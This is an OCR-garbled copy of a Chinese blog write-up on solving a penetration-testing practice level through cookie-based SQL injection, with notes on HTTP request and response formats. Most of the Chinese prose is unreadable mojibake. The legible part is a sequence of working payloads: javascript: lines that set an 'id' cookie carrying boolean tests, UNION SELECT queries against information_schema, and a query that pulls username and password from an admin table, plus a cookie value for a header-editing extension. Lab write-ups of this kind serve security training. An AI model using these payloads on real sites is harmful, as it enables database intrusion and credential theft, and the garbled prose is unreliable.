215123 F 2019-11-21 13:39:54 K i 1420 iR 4

ARER: BEMRASQUEN LERE: SQUEA BFEMIRLS] cookieJE N

FRALE B ASCRE ERAICE, #IE_CC 4.0 BY-SA RN, HEFM BRSO s A S,
A EEHE: https://blog.csdn.net/weixin_44106116/article/details/103180429

1R3CE 0T
BB

158 —F T ik
1EFRBRESQUEA
FOFE— A, Fland 1=1 BEREHFESQUEN, KIH IS HR FHE

¥ Forder by BEILAE JINFBE, KPorderby ATLLAH, FH+4
ECAR T, — R A EBGETAMIPOST, &% T cookieth i LIMES: . B bl 2ikcookielE A
1B 0 R S

cookie KA /N SCARIM”, RMIELEE P U SHE, B2 b BEAAREER.
aspM i Bt F cookielE N\, PHP A&

cookieyE N JFH :

EASPE, FRequest.QueryString(GET)ERequest.Form(POST)EUH,

B RN T i, 25 ID = Request(‘ID”),

Bk, WEBMRZS, SEiEXGETH HI%HE, BA HRPOSTHEI%E, &% EHCookiesH B4
BIEANRZ, SRWGETMPOSTH ¥R, (HIA KillCookies¥I¥iE

2 SEPEAN

B, R

javascript:alert(document.cookie="“id="+escape(“171”));

BRI R A
javascript escape() B %(: R0 ERFE BTG, XFEFATLAERTA KB L IRBUZFE /S .

FEH—NEOH, TIFRE, WER? FERid=171 EREREERETH.

EoRGE R, WP Frequestt RIRENEUE MR 5,  JF R 8B B ARG AT 4 5 R 3IREL, T2 E A Hrequest(‘id”)
77 IR -

frfEcookielE N, T RIBZIFHRTR, BREFREN BT TiL3E.


https://blog.csdn.net/weixin_44106116
https://blog.csdn.net/weixin_44106116/category_9530653.html
https://so.csdn.net/so/search/s.do?q=SQL%25E6%25B3%25A8%25E5%2585%25A5&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%25B8%2597%25E9%2580%258F%25E6%25B5%258B%25E8%25AF%2595%25E7%25BB%2583%25E4%25B9%25A0&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=cookie%25E6%25B3%25A8%25E5%2585%25A5&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_44106116/article/details/103180429
https://blog.csdn.net/weixin_44106116/category_9530653.html

javascript:alert(document.cookie="id=" + escape(“171 and 1=1"));
javascript:alert(document.cookie="“id=" + escape(“171 and 1=2"))

BRAE, fEfEcookiedE NIFIH

JETH AN — R — R,

javascript:alert(document.cookie="id=" + escape(“171 and 1=2 SQLJX \i&4]"))
ERRRED, X —SBEEdteT Tidug, BRI — IR M s,

javascript:alert(document.cookie="“id="+escape("171 and 1=2 union select 1,table_name,3,4,5,6,7,8,9,10 from
information_schema.tables where table_schema = database() limit 0,1));

FAHERE, BE, B BFRIBLSUHE,

ik, BEEEMESZ Nadmin, 7B Nusername,password

HESE W AT IR,

javascript:alert(document.cookie="id="+escape(“171 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin”));
javascript:alert(document.cookie="“id="+escape(“171 and 1=2 union select 1,2,3,4,5,6,username,password,9,10 from admin”));
GRMEMERT

3 RAF R

AEIEAT AEEAR R, BEENAEREARERT, &, . .

25 — Tk

iz AiModHeader L £, 3zFlcookieid: A
JRIER, H—FTE—RE

ModHeader: E %€ 3(% R kB E 5N k.

Request header Fi3k € XiE Rk, Reponse header F3K5E X W3k, FilterfHd ¥ B & %4 & P i
2. 1B B iR

HTTP B P &R 4 Lk 78 SRR

BIRFEWEBHI A A —NURLES, JBEERRIEIRIT R, QR KIZER.

IR 55 AW B R [ — N R, 0 A AR AT 2 e L B R A
22HTTPE R K4 X

WERAT, WHERER, ERKEE, URHTTPRA

HH C(header) /i, BB ZMAKIMINGE L.

AT
0 EXZS
Bl¥

EWEBM %28 F# A—/NURL, #lfnwww.baidu.com



GET/HTTP11 —— GETiEk, () , WHARZELNEESE, FHKEHTTP1.1RA

Host: www.baidu.com ————— HOST: B #, ERK B KM, (1.1RAFEESHHOST,1.0AANTFE)EE& E— TR
(), AT LLIE AR 55 2815 3K 1 & www.haidu.com/

User-Agent: Mozilla/5.0(Windows; U;Windows NT 5.1; en-US; rv: 1.7.6)
Gecko/20050225 FireFOX/1.0.1 ———— B #BUser-Agent: JIMWAFRE, GMERESBEINEKIE, IRE2FN WA AV A&

Connection: Keep-Alive —— B #8Connection
HE, ERE-1NERHZELHE BT

BRIAGETERISH, NLIUKIXLEBIMOE BHEURLA B JETH . HAEXKET:

URL ? name1=value1&name2=value2&...&nameN=valueN
MZABAFFE (querystring) , HESEHIEERITH,
POSTi#ER, XARIAEERIEEFARESBRME T —EHRMER.

POST/HTTP/1.1

Host: www.baidu.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6)
Gecko/20050225 Firefox/1.0.1

Content-Type: application/x-www-form-urlencoded —— 4% =
Content-Length: 40 ———— &R E4R K74
Connection: Keep-Alive
name=Professional%20Ajax&publisher=Wiley ———— &R ¥ 1k, S
I E Rk
Host: host# B384 /ip J& vT DA BR % 05
Referer:#/k B>k
Connection: &5 5/ EFAER, HTTP 1.1 BRIAMEITRHAER)
2.3HTTPMm ¥ -

REER
1

XHETHEAITHRSERBRE THERER.
BlF

HTTP/1.1 200 OK

Date: Sat, 31 Dec 2005 23:59:59 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 122

RENRIGR200, PLKIHEOK.

200 (OK) KRBT iZ®IW, FHHEH—WIEF.
Data ¥ #, FH R B R A e H BAFNRS 1]

BT HXA TRME—RAE



id=171+union+select+1,2,3,4,5,6,7,8,9,10+from+admin

EE: HRBEK, SUSHE



	封神台第二关
	1第一种方法
	1 查看是否能够SQL注入
	1.1附加知识点

	2 实现注入
	3 未解决问题

	2第二种方法
	2.1附加知识点
	2.2HTTP请求的格式：
	2.3HTTP响应：



